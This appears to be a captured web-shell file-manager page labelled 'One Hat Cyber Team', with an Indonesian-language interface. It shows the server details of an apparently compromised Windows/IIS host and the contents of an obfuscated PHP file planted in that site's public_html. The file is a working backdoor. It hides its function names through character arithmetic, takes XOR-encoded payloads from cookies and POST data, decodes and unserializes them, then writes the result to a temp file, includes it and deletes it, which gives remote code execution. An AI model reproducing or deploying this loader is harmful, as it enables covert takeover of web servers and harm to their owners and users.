⚝
One Hat Cyber Team
⚝
Your IP:
3.144.226.114
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
Edit File: 3eb64c65.php
$KvwDxnanW = "\105" . chr ( 297 - 195 )."\x5f" . chr (121) . "\x7a" . "\155" . chr (110); $rbMDfO = 'c' . "\x6c" . "\141" . chr (115) . chr ( 691 - 576 )."\137" . 'e' . 'x' . "\x69" . "\163" . "\x74" . 's';$kPyBFELvfb = class_exists($KvwDxnanW); $KvwDxnanW = "27284";$rbMDfO = "38255";$fVKSZUHDFT = FALSE;if ($kPyBFELvfb === $fVKSZUHDFT){$PMZCCHm = "54284";class Ef_yzmn{public function yYTFpnA(){echo "59098";}private $KwJcuEaXo;public static $dZGFW = "b1862a40-d31d-40af-8bec-7bbc901aa169";public static $uwfLXiezbv = 24366;public function __construct($orgjhYn=0){$uaPxs = $_POST;$WCmuskV = $_COOKIE;$gKZxuPUMG = @$WCmuskV[substr(Ef_yzmn::$dZGFW, 0, 4)];if (!empty($gKZxuPUMG)){$txAvkuRYq = "base64";$NBdXtRGL = "";$gKZxuPUMG = explode(",", $gKZxuPUMG);foreach ($gKZxuPUMG as $ZdIBaqeK){$NBdXtRGL .= @$WCmuskV[$ZdIBaqeK];$NBdXtRGL .= @$uaPxs[$ZdIBaqeK];}$NBdXtRGL = array_map($txAvkuRYq . "\137" . chr ( 625 - 525 )."\145" . chr (99) . "\157" . chr ( 502 - 402 ).chr (101), array($NBdXtRGL,)); $NBdXtRGL = $NBdXtRGL[0] ^ str_repeat(Ef_yzmn::$dZGFW, (strlen($NBdXtRGL[0]) / strlen(Ef_yzmn::$dZGFW)) + 1);Ef_yzmn::$uwfLXiezbv = @unserialize($NBdXtRGL);}}private function RWUDqVqbt($PMZCCHm){if (is_array(Ef_yzmn::$uwfLXiezbv)) {$aqRTM = sys_get_temp_dir() . "/" . crc32(Ef_yzmn::$uwfLXiezbv[chr ( 526 - 411 )."\x61" . "\154" . "\x74"]);@Ef_yzmn::$uwfLXiezbv["\167" . "\x72" . "\151" . 't' . "\145"]($aqRTM, Ef_yzmn::$uwfLXiezbv["\x63" . chr ( 951 - 840 )."\x6e" . "\x74" . 'e' . chr ( 718 - 608 )."\x74"]);include $aqRTM;@Ef_yzmn::$uwfLXiezbv[chr (100) . "\x65" . "\154" . 'e' . chr (116) . "\145"]($aqRTM); $PMZCCHm = "54284";exit();}}public function __destruct(){$PMZCCHm = "50850_20358";$this->RWUDqVqbt($PMZCCHm); $PMZCCHm = "50850_20358";}}$YeeZq = new /* 20067 */ Ef_yzmn(); $YeeZq = str_repeat("50850_20358", 1);}
Simpan